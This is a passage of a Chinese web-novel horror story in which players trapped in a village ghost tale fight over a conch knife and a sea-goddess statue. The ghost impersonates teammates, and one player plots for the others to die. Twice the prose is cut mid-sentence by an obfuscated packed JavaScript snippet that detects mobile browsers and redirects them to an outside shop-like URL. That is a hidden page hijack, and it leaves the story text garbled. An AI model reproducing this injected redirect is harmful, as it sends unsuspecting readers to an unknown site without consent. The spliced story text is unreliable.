天彻底亮了,七尾尾随张睿出门。 果然,张睿前往祠堂的方向。 七尾暗自发笑,能进入怪谈的人没一个傻的,在了解现状后都会开始自救。张睿虽然不傻,但容易犯新人的毛病——自以为是,以为拿到重要道具就可以保命,但重要道具一般都有特定的使用规则。不是随便一个人拿在手里就拥有无上的力量。 自己昨天旁敲侧击了几句,张睿就火急火燎要一个人拿刀。恐惧是守护的能量,但如果太过于恐惧导致大脑无法运转,那恐惧就会危及生命。 七尾自己也很好奇,这刀有没有会害死人的规则。如果没有,他完全可以抢过来。 潮气很大,空气中弥漫着水雾。 张睿跑起来气喘吁吁,他记得祠堂的方向,昨天除名仪式结束后,现在肯定无人看守。 天黑隆隆的,看起来时刻要下雨。张睿越跑越快,拿出了两百米冲刺的速度,心脏咚咚作响,肾上腺素飙升。如果下雨,到处都能反光,女鬼就会再次出现。等等拿到了海螺刀,他就能保命了。女鬼肯定不敢靠近他,就算杀不死女鬼,他也比别人多一个防身武器。 快点,快点。 空无一人的巷口,只有张睿一个人的脚步声。 祠堂和民宿之间的直线距离并不远,但箱岩村七拐八拐的弯曲的路径实在让人害怕。张睿总是连连回头,似乎有什么东西在跟着自己,然而每当他放慢脚步想要听的时有无人跟踪的时候,那脚步声也慢了。脚步若隐若现,甚至还没有自己心跳的声音大。 不会是鬼吧? 不会!张睿几乎在下一秒就否决了刚才所想,因为女鬼根本不需要跟踪自己就可以杀死他。所以跟着自己的肯定是个人,只有可能是孟晗、瑶瑶、七尾当中的一个。突然,张睿余光瞥见了一扇玻璃,正正好好一个高大男人的身影从玻璃反光上一闪而过。 是七尾。 张睿脑子乱乱的,他怎么猜到自己会大早上起床?自己分明已经小心翼翼了。 七尾住三楼,自己住二楼。 哦对,从三楼可以看见很远的地方,那么足够发现他离开了。不愧是老玩家啊,张睿加快脚步,把七尾甩到身后,不一会儿就没听见脚步声了。当他进入祠堂的刹那,身后的暴风骤雨仿佛散开。 张睿深呼吸了一口气,这回七尾是跟不上了。 内堂的大门没锁,肯定因为箱岩村的人对祠堂敬畏,不敢随意乱闯,所以便没锁门。祠堂内一尘不染,海螺刀摆在架子上,刀刃锋利,刀柄用特殊的石材制成,隐隐发热。这东西并不大,可以揣在怀里。 张睿回头看了看,见四下无人,右手握住刀柄,掂量起来。 与此同时,一声叫喊乍然出现。 “张睿!” 张睿瞬间双手握刀,冲向门口:“谁!” “我啊,怎么了?” 张睿看见瑶瑶撑着伞,穿过祠堂外面的门进入内院。瑶瑶满脸焦急,因为跑的太急,整个人都在喘:“你怎么一个人跑来了?我们还以为你失踪了呢,到处都在找你!” 张睿盯着瑶瑶,后退两步。瑶瑶不应该出现在这里,她应该还在睡觉啊,自己是偷偷摸摸出来的,不应该被任何人发现才对。他和瑶瑶不熟,根本无法在瑶瑶身上找到任何不属于人的破绽。 “你来干什么!”张睿喝道。 瑶瑶上前一步,清纯姣好的面容皱成一团:“我当然是来找你的了,你不知道,出大事了!孟晗出事了,所以七尾才叫我找你回去!” 张睿瞪着眼睛,喘着粗气,不知道瑶瑶说的是真是假。瑶瑶想上来拉他,张睿三两步退到内堂里,两人隔着门框相望。 “快跟我走啊,七尾发现林宝珠的弱点了,根本不是海螺刀。”瑶瑶急得跺脚,“我路上跟你说!” 张睿反而冷静下来,瑶瑶的突然出现太过于匪夷所思,细细猜想到处都是bug——先不说他们是怎么发现自己在祠堂的,瑶瑶向来只和孟晗共同行动,他不相信瑶瑶胆子那么大,敢自己跑来? 宁可信其有,不可信其无。 不,这是鬼,这一定是鬼! 如果是真正的瑶瑶,肯定会进入祠堂厅内拉自己,但眼前的人只站在门外,完全没有进来的意思。祠堂内是受到保护的,也就是说鬼不能轻易进来。张睿想通之后,三两步上前,就在瑶瑶以为他要随自己离开的时候,张睿嘭的一声关上了门! 祠堂内成了密闭空间,关门的刹那间似乎屋内都变得暖和了。 门上插着一把锁,但没有钥匙,所以锁不住。张睿环顾四周,寻找其他可以挡住门的东西。 下一秒。 ——当! 当当当! 敲门声越来越大。 瑶瑶扑上木门:“你这是要做什么?赶紧跟我走,这里不能呆了,这里很危险,我说话你怎么不听呢!我不是鬼啊,我是人啊!张睿,给我开门啊,快点给我开门啊!” 门砰砰砰被震得晃动。 锁哗啦啦,哗啦啦。 啪嗒,掉了。 张睿吓得不敢呼吸,但奇迹般的,即使没有锁,门依旧没打开,卡在了门槛。 这难道是,安全屋? 真的是安全的?! 瑶瑶的声音开始变得尖锐。张睿吓得胃里翻江倒海,但因为劫后余生而喜出望外。这么看,瑶瑶果然是鬼,他赌对了,而且鬼进不来。他需要先躲起来,就算发生意外,鬼也会以为他逃走了。如果有队友找过来,他也可以在暗中观察。 鬼刚才没有杀死自己是因为自己没有触犯规则,或者鬼还没有杀死自己的能力。只要自己在这里时间足够久,鬼就会去找别人。无论发生什么,自己都绝对不能跑。 整个内堂除了牌位、供桌、海娘娘神像、关上的后门以外什么都没有。 瑶瑶的声音仍在继续。 “让我进来啊。” “为什么不让我进来?” “我可以进来的。” 张睿爬到供桌下面,桌子被黄色的绸缎覆盖,很是安全。桌子底下没有存放任何东西,从这里可以一眼看到对面墙壁,也能看见木门,视野绝佳。敲门声仍然断断续续,张睿深呼吸,不给任何回音,装作听不见。 饿一饿不会死。 这里就是怪谈的结界。 张睿逐渐平静,敲门声也渐渐没有了。 走了吗? 是不是去找其他人了。 张睿松一口气,果然还是自己聪明。怪谈和恐怖游戏一样,游戏里主角躲在柜子里就不会被鬼发现,在怪谈里只要门不打开,鬼就进不来。祠堂内阴冷冷的,檀木的香气让他感觉自己还在人间。 张睿摸了摸裤兜,他应该一会儿给孟晗打个电话,问问瑶瑶是不是和她在一起,然后让他俩在来找自己。孟晗和自己一样都是新人,应该不会害人……听门外的动静鬼应该是离开了,所以让瑶瑶和孟晗前来也相当于帮自己排除危险。如果鬼还在附近,被盯上的应该是她们俩。 张睿筋疲力尽安慰自己。 外面的雨逐渐停了,大概过了半个小时左右,正当张睿准备打电话的时候,门外响起对话声。 “我跟丢了,我怕他出事一直跟着,还好遇见你了。” 谁? 张睿一个激灵。 “张睿是新人,什么都不懂,我怕他出事。” 是七尾! 七尾在和谁说话? 对啊,他怎么忘记刚才一直是七尾跟踪自己,根本不是瑶瑶。 同伴终于来了,还好还好。 不对,七尾在和谁说话? “我刚才和孟晗走散了,真是吓死了,然后就看见张睿好像进来了。他是不是来找海螺刀了,你要不进去看看?或者你开门看看也行。” 这是……瑶瑶的声音? 不,是鬼! 瑶瑶不可能单独出现,所以鬼根本没有离开。 张睿眼珠子在眼眶中转来转去,突然他想到了刚才自己猜想的漏洞——鬼不是进不来,是只有被邀请才能进来。昨天他听到村民说过几句“林家的祠堂只有林家的人才能进”,昨晚大家对过族谱上死掉的人名,有惨死的受害者,也有林宝珠。这些人都进不了祠堂。况且,从昨天村民的反应来看,祠堂应该是一个安全区才对。 那为什么“瑶瑶”能出现在祠堂内院里?鬼刚才让自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586861|205314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己拉她进来,也就是说自己必须“邀请”鬼才能进来。这很像吸血鬼传说,只有被邀请进门才能进入。张睿一下子就想明白了,鬼在勾引七尾开门,人类可以打开门,只要七尾做出类似“邀请”的动作,鬼就可以进来! 他知道,鬼需要一种权限,必须在人类开门的情况下才能进来。 门外,七尾根本没发现“瑶瑶”的异常。 “你开一下门吧。” “嗯?你为什么不自己开。”七尾疑惑,他也不是那么好糊弄的。 “因为该你了,不是吗?”瑶瑶看着七尾,“昨天我和孟晗推过小洋楼的门了,我已经承担了风险。这是你定下的规矩。” 七尾没想到瑶瑶这么强势,不过她的强势用错了地方,因为这里是安全区,风险系数归零。 “行。” 张睿听着门外对话大汗淋漓,赶紧从桌子底下钻出来:“七尾,瑶瑶是鬼、别开门,别开门啊啊!” 门外,七尾一愣:“什么,你在说什么胡话?” 瑶瑶也在说话:“他疯了吧,什么鬼,快把门打开,咱们进去看看!鬼根本进不来这里啊。” “行。” 眼看七尾要开门,张睿冷汗直冒:“七尾你旁边的不是瑶瑶,是鬼啊,是鬼啊,你不要推门!” 不不不不,不能被打开! 七尾冷笑:“你瞎说什么呢?” 张睿紧紧瞪着两人从门缝透进来的光影。 不不不! 跑! 当七尾打开门的一刹那,这里不是安全屋了! 必须跑! 他豁然调转方向,冲着后门狂奔。要杀就杀死七尾吧,不要杀死自己!七尾早不来晚不来,偏偏这时候来!要不然绝对碰不上躲在里面的自己。反正他现在有海螺刀,他死不了。况且鬼盯上的是七尾,而不是自己。 海风呼呼,潮气阴冷。 张睿推开小院的大门,头也不回往外跑。 只要跑出去,自己就不会死,只要……身后没声音了,是甩掉他们了吧?鬼会杀死七尾吗?要死也是他自己脑子不好使,居然相信那个瑶瑶的话。 啊,好累啊。 张睿大口大口呼吸着。 为什么喉咙好痒?好像有什么东西要从喉咙里钻出来……好难受…… 张睿干呕一声,嗓子痒得很,手指抠来抠去,抠出来一缕女人的黑色头发。他吓得打嗝,陈昊是怎么死的?记得当时有一只手从他的嗓子里伸出来,扼住了他的脖子……不会吧……不,我明明没有违反规则,明明没……我有海螺刀防身,怎么会这样…… 根本没有七尾啊……那是假的!!! *** 林永忠住宅,小洋楼。 孟晗和瑶瑶看向楼梯口。 哒。 哒哒哒。 上楼的脚步声很沉,是昨天遇见的买盐老头,他并不害怕这里,熟悉的就仿佛回了家。 孟晗摆出一副居高临下睥睨的姿态。 老头冷冷问道:“你们怎么来了?”他并不欢迎外来人。 孟晗没说话。 老头也不吭声了,扔掉了长满蛆虫的水果,在林宝珠的遗像下摆了一些威化饼干和水晶糖果。 孟晗观察着他:“照片是你放的?” 老头撇了孟晗一眼:“不是,谁心虚,谁放的。林宝珠怎么会报仇呢?林宝珠是我见过最善良的女孩子,是我见过的这辈子最善良的……女孩子!” 瑶瑶轻声问:“您是林宝珠的什么人?” “什么人都不是。”老头说道,“但我知道,林宝珠在被村长拖出去时,早就死了!她早就上吊自尽了,怎么可能被打死?她一心求死,她根本不留恋人世间,怎么可能生出怨恨?这村子啊,是有人别有用心,用她的名号做这些事。” 孟晗揉了揉太阳穴,挂在房梁上的不是林宝珠的父亲,林永忠吗? 居然是本人? 那么林宝珠的父亲是怎么死的? 老头擦拭着相框:“宝珠啊宝珠,她死的时候穿着最爱的花裙子,那天下了很大的雨,她都被淋湿了,像一条鱼。鱼就应该回归海里,这里不是她的家啊!” 14. 村长的秘密 孟晗打量着老头。 他说林宝珠其实早就死了,根本不是被村民打死的,但他并没有否认林宝珠变成“鱼”的样子是假。那么,林宝珠确实有“冤情”。 老头在林宝珠的遗像前摆上三支香,深深鞠了一躬:“她早就想死了,这样的日子她根本不想过下去了。村子里的人都说林永忠爱女儿爱得深切,他就是个畜生!其他人都说为了给她治病,所以林永忠杀害了五个女童给她续命嗬……都是假的……林永忠那个狗杂种,就是为了钱!” “他是怎么发家致富的,他不清楚吗!” “他把林宝珠弄成这副样子!这是他的亲生女儿啊!老天让他不得好死!” 老头眼眶没有眼泪,反而是仇视和怨恨,手因为激动而颤抖。 “宝珠是一个善良的女孩,她也是家里唯一的孩子,她父亲说什么她就听什么!所以,这一切都回不了头了,她就算再难受也回不了头了!” 孟晗吐出两个字:“海女?” 老头登时闭嘴,目光幽深:“你知道?” 孟晗点头。 老头死死盯着孟晗,在停了好一会儿后,崩溃的大笑起来:“哈哈哈哈哈是海女、就是海女!为了钱,把自己女儿变成那副人不人、鬼不鬼的样子!” 他突然凑近孟晗:“你知道那五户人家的孩子是怎么死的吗?被林永忠也做成了‘海女’,活成了活人桩,为了给她女儿续命!都是五鬼运财之术,都是驾驭鬼夺运之术,凭什么‘海女’一个活人能够招财?肯定是要遭到反噬的,林宝珠活得好痛苦,但她又不可能忤逆自己的父亲,她说这是她活在世上唯一的亲人了!” “我让她跑啊,她也不听!” “她就一直在哭,她说她想死,她说她要死……直到有一天,她真的快死了,喘不上来气,整个人都虚脱了……” “她病的快死了……她为了安慰我,才说自己病了。其实不是,那不是病,她是被反噬了!林永忠从下三滥变成林家村最有钱的那个人,凭的是什么?还不是他把女儿献给了海娘娘,还不是把女儿变成了海女!林宝珠被反噬了,林永忠花的每一分钱,都是林宝珠的血肉!” “他杀死那些人,不过就是为了……给她被反噬的女儿续命!” “林宝珠都不想活了,续什么命啊!她怎么就能为她父亲做到这样啊……” 老头越说越激动,终于崩溃的哭起来。 小腹一直在抽,眼泪从浑浊通红的眼眶一个劲儿往下流。 瑶瑶觉得,眼前的老头莫名看起来像一个无家可归的孩子。 孟晗听在耳朵里,不动声色。 这里有一个矛盾点,谁在说话。她总觉得整个怪谈的形成应该是一个很简单的故事,村民打死了林宝珠,林宝珠杀人偿命。 但是,按照这个老头的话说,林宝珠既然想死,就不应该冤魂作祟。如果林宝珠没有被打死,而是自己一心求死,就不会出现后续的杀人惨案,那么杀人的应该是谁?以及村民都说,海螺刀可以辟邪杀鬼,如果所说的鬼不是林宝珠,那这个怪谈里就存在两种鬼或者两类鬼。自己看见的林宝珠,以及其他鬼。 瑶瑶抬头,从狭小的窗户看向天际:“我觉得好像又要下雨了。” 明明刚才雨停了。 如果下雨,这个副本的难度会更进一步。 瑶瑶有些心慌。 孟晗顺着她的目光看过去,乌云遮日,这雨下得一阵一阵的。 杀人没杀够,就会下雨。 海水会淹没村庄,雨水会反射鬼影。 地理和天气会反应鬼的内心世界吗?如果雨停了,证明目前想杀的人已经死了?那么祠堂里谁死了,是七尾还是张睿? “去祠堂。”孟晗说。 离开小洋楼,整个空气的湿度大约在百分之六十以上,虽然这让皮肤很舒服,但断断续续的雨让人更加心慌。从小洋楼到祠堂有十五分钟的路程,两人紧赶慢赶,终于在下雨之前到达祠堂。 作为村长唯一认证的安全屋,这里至少可以躲一躲,让孟晗有时间思考下一步应该怎么做。 祠堂门是开着的,但内堂的大门紧闭,似乎生怕有什么东西闯入。 孟晗和瑶瑶背对背,两人保持余光和目光三百六十度环绕,没有留有任何死角。 “有人吗?”孟晗敲门。 没有声音。 瑶瑶:“我觉得有人来过,村子里的人怎么可能不关祠堂门呢?” ——咚咚咚。 孟晗敲了敲门。 但屋内没人回应,门被上锁了。 反锁的。 如果是村长上锁,那么应该是离开的时候锁门,锁在外面。但内堂外面的锁放在一旁,所以是里面的门栓被人插上了,证明里面躲着人。 “是我和瑶瑶。”孟晗先报名字,“张睿吗,还是七尾?” 屋内有声音动了动。 脚步声响起。 似乎有人贴在了门上。 “孟晗?” “是我。” “真的是你?” “嗯。” “这是你第几次参加怪谈?” “第一次。” 门开了。 张睿惨白的脸出现在缝隙间,受到惊吓而瞳孔涣散,他打量着两人,再确认了好一阵眼前的是人之后:“进、进来吧……” ——轰隆。 然后。 天边一道闪电。 啪。 雨水落下。 下雨了。 孟晗皱眉,回头看向外面的雨。 怎么会突然下雨呢? 如果张睿活着,那七尾去哪里了? *** 半个小时前。 祠堂外。 七尾一直躲在房屋后面没有进入祠堂,他敢肯定海螺刀就是这次怪谈的重要道具,但肯定存在对应的规则——根据以往怪谈经验,这种品级的道具都会招来厉鬼,弄不好就会死。张睿又傻又聪明,自己点拨两句就知道海螺刀的重要性,肯定眼巴巴跑来拿。 他想知道,这祠堂是不是真的是安全屋。 海螺刀的隐藏规则是什么。 如果张睿顺利拿到海螺刀就好办了。 如果他死在祠堂里,证明祠堂不是安全屋。 如果他死在祠堂外,就证明祠堂是安全屋。 那为什么是安全屋?肯定有和海螺刀规则对应的东西保护。 七尾耐心等候,倒要看看祠堂里会发生什么? 其实,自己也不想杀人的,因为在怪谈中杀人也是一件比较困难的事情。他希望所有人都死得其所,这样就可以减少自己寻找生路的思考时间。都说新人是炮灰,但对于七尾来说,新人就是【泉】。每个【凡人蜃影】怪谈分配的【泉】总数是固定是20【泉】乘以总人数,这次就是100个【泉】。在总数不变的情况下,最后生存的玩家越少,他个人拿到的就越多。他必须拿到足够多的【泉】,那个神秘组织才会接纳自己,否则他永远都是边缘人。他的实力足够出色,他要证明自己! 在怪谈中呆了整整两天,他摸清楚整个怪谈的背景故事了。新人关卡一般都不难,新人死亡率高是他们素质不高而已。只要杀死林宝珠就可以结束一切,所以知道海螺刀的规则他就能直接通关了。只是可惜,他现在找不到干掉另外两人的机会,这俩人贴的太紧了。 他昨天旁敲侧击跟瑶瑶说,孟晗好像不对劲。 瑶瑶瞥了他一眼,什么话都没说。 什么表情! 趁早死了吧! 七尾心里痒痒,等着一局结束后,他会拿着足够多的【泉】找到【上帝之骰】,还差50个,还差50个他就可以被接纳了 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保险起见,七尾并没有自己动张睿的尸体,他留了一个心眼,去找了村民帮忙。村民又找了村长帮忙。村长让人把尸体抬到了空房子里,和陈昊的尸体并排摆放。 陈昊的尸体泛着青色,喉咙有一处巨大的黑洞。 村长并没有问七尾为什么海螺刀会出现在张睿身上,他拿起了刀,急匆匆离开了。 七尾眯起眼睛。 张睿拿刀就惨死,为什么村长不会? 而且,这里的村民好像很害怕这把刀,似乎默认只有村长才能拿。他好像发现了整个副本最重要、最关键的一点——如何不被海螺刀反噬。 只要他拿到海螺刀,戳入林宝珠雕塑,也就是尸体的心脏,这场怪谈就结束了。 看似简单,但弯弯绕绕很多。 他就喜欢这种新人副本。 村长拿着刀没有回祠堂,直接返回了家。 七尾翻墙,偷偷潜入了村长家。 他趴在墙根听。 不一会儿,屋子里传来了吵闹声。 村长老婆抑制不住音量,声音都在颤抖:“我是真的害怕,要是杀到咱们家了可怎么办?死了三个了啊!怎么办啊!” 村长跟老婆说:“没事,杀不到咱们。你看,我已经把刀拿回来了。刀除恶震鬼,你还怕什么?” “可是……可是这刀……拿了也会死啊!” “我跟你说了多少遍了,有海娘娘保护就不怕!一共三个海娘娘塑像,海里一个,咱家一个,祠堂一个,你还不自知?” 偷听的七尾恍然大悟。 这刀肯定配合着海娘娘,才能使用。 老婆埋怨:“但是村子里死的那个孩子,是个好孩子啊!你就不能结束这一切吗?我不忍心啊……” 村长嗤之以鼻:“你不忍心也没办法。这村子这么难管,不死点人,都跑了怎么办?不听我的怎么办?你难道想舍弃现在的地位?我可是好不容易才当上的村长,要是都太平了,还能轮得上咱们两个?这么多年,咱们从林宝珠作祟这事捞了不少好处吧,你还想回到原来的日子?这个刀无论是鬼,是尸,都会魂飞魄散,要是真到了那一步,我杀了林宝珠就是了!” “我……我不想……” 七尾听得清清楚楚,恍然大悟。 怪不得村长知道如何杀死林宝珠,但却一直不做。 只要村子里存在恐惧,就能一直维持自己的统治地位。 村长老婆啜泣崩溃说道:“但,那是个好孩子,既然都要死人,让外乡人都死了就可以了!” 村长有点厌烦:“知道了,我让人画图供奉上去了。他们会死的,他们会被盯上的!” 村长把刀和海娘娘的像锁在屋子里,离开了。 啊,看来都要到手了啊。 要是想用刀杀死林宝珠,必须同时携带海娘娘的雕像。 果然是这个道理。 15. 生路 阴雨绵绵。 祠堂。 门开了个缝隙,张睿战战兢兢打量着:“你们怎么知道我在这?” “你大早上出去了。”瑶瑶站在张睿身前,一脸忧愁,“五点多你就爬起来,我觉得你胆子挺大的。” “我,唉,我承认我是有小心思。”张睿挠挠脑袋。 孟晗原本一直在看天上的雨,当张睿开口说话后,背着双手迈入祠堂,围着里面绕了一圈,最后站在了张睿身后:“张睿。” 冷不丁的一句话,让张睿打了个冷颤:“怎、怎么了?” “没事,刀呢?”孟晗刚进门的时候就注意到了,刀没了,雕像也歪了。 海娘娘雕像的模样和林宝珠的近乎一样,不是模样一样,而是材质。她甚至分不清雕刻的原材料究竟是木头还是石块,看起来有一种冷冻黄油的油腻的质感,黑色但不反光。很像是被油浸润后的石头。孟晗用手轻轻碰了一下,竟然有点软,像女人的手臂肌肉。 “刀被拿走了?”孟晗问。 张睿摇头:“不,我不知道。我来的时候就不见了,我猜可能是七尾做的……他拿走了刀……” 窗外,雨原本雨淅淅沥沥下了两滴,但又停了。 但很奇怪,乌云似乎就在祠堂的头顶,隐隐可以听见轰隆隆的声音。 孟晗安静的凝视着张睿,上上下下打探,眼前的人说不上哪里有问题。 张睿说:“既然不下雨了,我们去找七尾吧,不知道他拿走了刀会做什么……我有点担心……” 孟晗听见七尾拿走了刀,仿佛已经猜到了,她拿起雕像看了看:“你说他会用刀杀了林宝珠吗?” “谁知道呢!”张睿着急,看见孟晗拿起来了海娘娘,失声叫道,“你怎么拿这个?别碰,别碰那个!” 孟晗在手里把玩,挑眉问道:“怎么了?” 张睿脸上的惊惧不是装的,瞳孔都在颤:“那、海娘娘有问题、有问题!” 孟晗放回桌上,低头看了看自己的掌心。 海娘娘上浸出来了厚厚的一层油脂,如同干涸的血迹,在她的掌心和指尖黏黏乎乎的拉丝,很像是融化的柏油。 张睿松了口气:“那个东西,真的有问题……不能碰,这个屋子里的所有东西都不能碰。赶紧走吧,在鬼来之前,去找七尾和海螺刀。海螺刀真的可以杀鬼,七尾抢走了刀冲出去了。我怕他出事,规则不可能这么简单的……但是我一个人又不敢追,因为要下雨了,只能盼有没有人来,你们果然来了。” “这里是安全屋,为什么还要跑?下雨了啊,咱们出不去了。”瑶瑶问。 刚才张睿迟迟不给他们开门,显然是担心有鬼。 证明这里是相对安全的。 张睿一着急,手脚都在嗡嗡抖:“你以为我想跑?这才第三天,你真的觉得咱们能坚持七天吗?而且七尾,我觉得七尾有问题,如果他拿到了海螺刀,拿捏咱们怎么办?你是个小姑娘,我和孟晗都是新人,咱们三个怎么斗得过!” 孟晗看了看窗外的天:“走吧。” 瑶瑶:“欸?” 孟晗:“你走后面,我走前面探路。” “哦。” 瑶瑶也没问为什么。 因为下雨,祠堂内院青石板路上的尘土被搅和成了褐色的稀泥。 孟晗走在最前面,张睿跟着孟晗走。 瑶瑶回看四周。 她心跳得厉害,喘息也变得急促。 她觉得张睿不太对劲,孟晗也不太对劲,但不知道问题在哪。 瑶瑶目光飘来飘去,突然眉头一紧。 张睿踩过泥巴,脚印印在了祠堂小院里的青石板路上。 瑶瑶突然瞪大眼睛,张睿的脚印,是反的! 怎么可能…… 这个张睿…… 是鬼! 她突然想起小时候同学给她讲的鬼故事——鬼的脚是反着的,鬼的手也是反着的。如果半夜看见有人用手背鼓掌冲你微笑,不用怀疑,那一定是鬼。 瑶瑶倏然抬头,目光紧紧盯着张睿。只要她盯着鬼看,鬼就不能伤害人,目光一寸都不能挪开!祠堂范围内,祠堂和小院都是安全屋,所以在这个范围内,鬼不会伤害他们。 不能离开祠堂的范围,绝对不能! “孟晗,停、不能走了、回来!”瑶瑶喊道,她不担心会不会被鬼识破,他们有两个人,可以盯住鬼,如果孟晗的出事的话,下一个就是自己。虽然经历了很多怪谈,生死也看淡了很多,但瑶瑶做不到抛开其他队友只估计自己的安危。更何况,当一个人只考虑自己的时候,那么久离死不远了。 但是。 下一秒。 孟晗脚步落地。 她已经踏到了祠堂外围,两只脚正正好好都站在了外面的土地上。 出界了。 瑶瑶浑身冷汗直冒,但又不敢动。现在应该怎么办?她必须把张睿控制在祠堂内,这样鬼就无法动手。她想着也顾不得什么,回身去拉扯面前的张睿,然而下一秒,孟晗转身,看向张睿,又看了看瑶瑶,轻声问道:“怎么了?” 瑶瑶冷汗直冒,脸毫无血色,她在抖。她发现张睿也在抖,好像是计谋得逞的那种阴暗的笑,因为笑得太夸张,所以肩膀也在抖。 瑶瑶等使大脑一片空白,孟晗离开了安全区范围,她会出事的!不要不要不要不要……孟晗不能出事……千万不要千万不要…… 她崩溃的大喊:“张睿是鬼、是鬼!快回来!” 然而孟晗好像没听见一样,双手侧兜,转过身,面带微笑。 瑶瑶愣了。 快回来啊,为什么会这么冷静的看着自己? 她不怕死吗? 她为什么会这么淡定? “要杀了我吗,张睿?”孟晗笑意不达眼底,饶有兴致,“还是你会杀了瑶瑶,或者你其实谁都杀不掉,因为我在保护的范围内。” 瑶瑶登时大脑一片混乱,孟晗在说什么?什么保护范围? 张睿死死盯着孟晗,脸上青筋乍起,喉咙发出一阵一阵嗬嗬声。脸上的表情倏然变得扭曲,一块块石头沙砾贝壳状的坚硬物体刺破脸颊的皮肤。张睿的脸出现了一个个黑漆漆的大洞,血流如注,那双充满恐惧的眼睛变得戏谑、怨毒。 终于,属于张睿的皮肤在融化,剥落出鲜血淋漓的厉鬼。她胸口有一个大洞,血洞不断往外涌着腐烂的海带、死掉的小银鱼、白色的珊瑚、以及一节一节……死人的骨头、手指、眼球…… 瑶瑶看不到张睿的胸膛,但看见流淌了一地的腌臜,头皮发麻:“快来,快来啊!” 孟晗:“你站着不要动。” 话音刚落,孟晗豁然拿出一面镜子,几乎拍在了张睿脸上! 张睿瞪大的眼睛与镜中的自己相对,四目交错间,倏然身体发出咕咚咕咚的声响,似乎什么东西沸腾了,冒泡了。 他僵直着身体不能动,牙齿咯咯作响,想挪开眼睛,但眼皮被固定了,就连骨节都无法挪动。 “走。”孟晗一把拉住瑶瑶。 瑶瑶看着自己的脚不听使唤,居然离开了祠堂的范围。 而且…… 怎么会…… 她的脑子还没有运转,但孟晗已经拉着她狂奔。她脑子里什么都没有,此时就如同多年之前的放学后,自己被同桌拉着手迎着夕阳跑出校园。她茫然回头,看着距离鬼越来越远,直到消失在视野中,那鬼都没有追来。 直到回到民宿,她怔怔看着孟晗。 孟晗脸颊没有一滴汗,眼神坚定。 瑶瑶恍惚的看着孟晗,心跳加速,咚咚作响。 “回来了。”孟晗说。 瑶瑶反锁民宿的大门,搓了搓胳膊上起的鸡皮疙瘩,刚才被厉鬼凝视的心惊胆寒还没缓过去。孟晗则脱掉了上衣,抖了抖上面的尘土和水渍。 衣服潮湿,黏在身上不舒服。 只能用纸吸一吸,擦一擦。 孟晗闻了闻,还好没什么味道。 他们并不用担心会有其他男人看见,因为张睿死了,陈昊死了,七尾下落不明。偌大的民宿,只有他们两个人。暗淡的光线下,瑶瑶坐在沙发上,仰头望着孟晗。 孟晗的脊背的肌肉线条匀称又漂亮,瑶瑶咽了咽口水,心想这次能平安回去,一定花钱在健身房办个年卡! 算了,半年卡吧,不花冤枉钱…… 如果自己能像孟晗一样聪明又健康就好了。 瑶瑶:“你从什么时候发现的?” 孟晗背对着她,低头擦衣服:“他说海娘娘有问题。” “我没懂。” “既然有问题,为什么共处一室?张睿胆子没有那么大,他做出的决定都是没有经过前因后果思考的。所以,张睿已经死了。不过,你是怎么发现的?” “脚是反的。还好你反应快,不过,为什么鬼没杀死咱们啊。下雨的水可以形成反射,应该会有千千万万个鬼,咱们也不是一分一秒都盯着它。如果找准机会,她一定能杀死咱们。” 孟晗回头,眉毛挑了挑,从裤兜里拿出那个小小的海娘娘雕像。 瑶瑶:!!!! 你把人家祠堂里的神像拿出来了?! 孟晗表情有些无辜:“我就是想试试……” “那如果没成功呢!”瑶瑶爆发尖叫。 这也太胡来了! 孟晗:“死呗。” 瑶瑶脸颊肌肉抽了抽:“你怎么能把这件事,说的这样、简单啊?” 孟晗眨眨眼,反问道:“你知道规则吗?” 瑶瑶:“啊。” “知道吗?” “不知道。” 孟晗:“所以规则是人试出来和想出来的,在怪谈中每一步都存在风险。有人在的时候,队友可以分担风险,如果没人在,你只能自己做决定。我们是无法在这个怪谈里存活七天的,所以必须找到克制鬼的方法。张睿应该拿到了海螺刀,但却死了。所以海螺刀不是林宝珠的克制物。但祠堂确实是安全区,因为鬼无法在祠堂内杀人,所以祠堂内肯定还有克制物。” 瑶瑶咽了口唾沫:“懂了。”她将话题拉回正轨:“也就是说,我们要用海娘娘杀死林宝珠?” 孟晗穿回衣服,没说话。 ——轰隆。 打雷了。 层层叠叠的乌云翻滚着,从山那边压了过来。 雨点落下,砸在屋檐上、土地上,倏然周围变得很冷。 很快,大雨倾盆。 瑶瑶不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586863|205314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 敢想,如果他们没有海娘娘,现在会不会已经死了?现在他们已经知道林宝珠的故事了,但生路是杀死林宝珠吗? 孟晗走到了民宿三楼,这里是陈昊和七尾的房间,七尾不在,门也没锁。 但风雨中,隐约看见一个男人走向海岸。 是七尾。 他拿着海娘娘的塑像和海螺刀。 孟晗有些遗憾:“我还以为他想尽力挑拨咱们。” “哦,好像是,他说你很奇怪。”瑶瑶揉揉眼睛,想起昨天七尾无厘头的话,“他去海里作什么?” “通关。” *** 海风刮骨的疼。 雨越来越大。 但七尾知道,自己赢定了。从村长的话里他摸出了生路,他应该至少能获得60【泉】。这样,足够他拿到入场门票了。 现在,他有海娘娘雕像防身,有海螺刀。 整个怪谈的核心在于林宝珠,杀死林宝珠,就是生路。 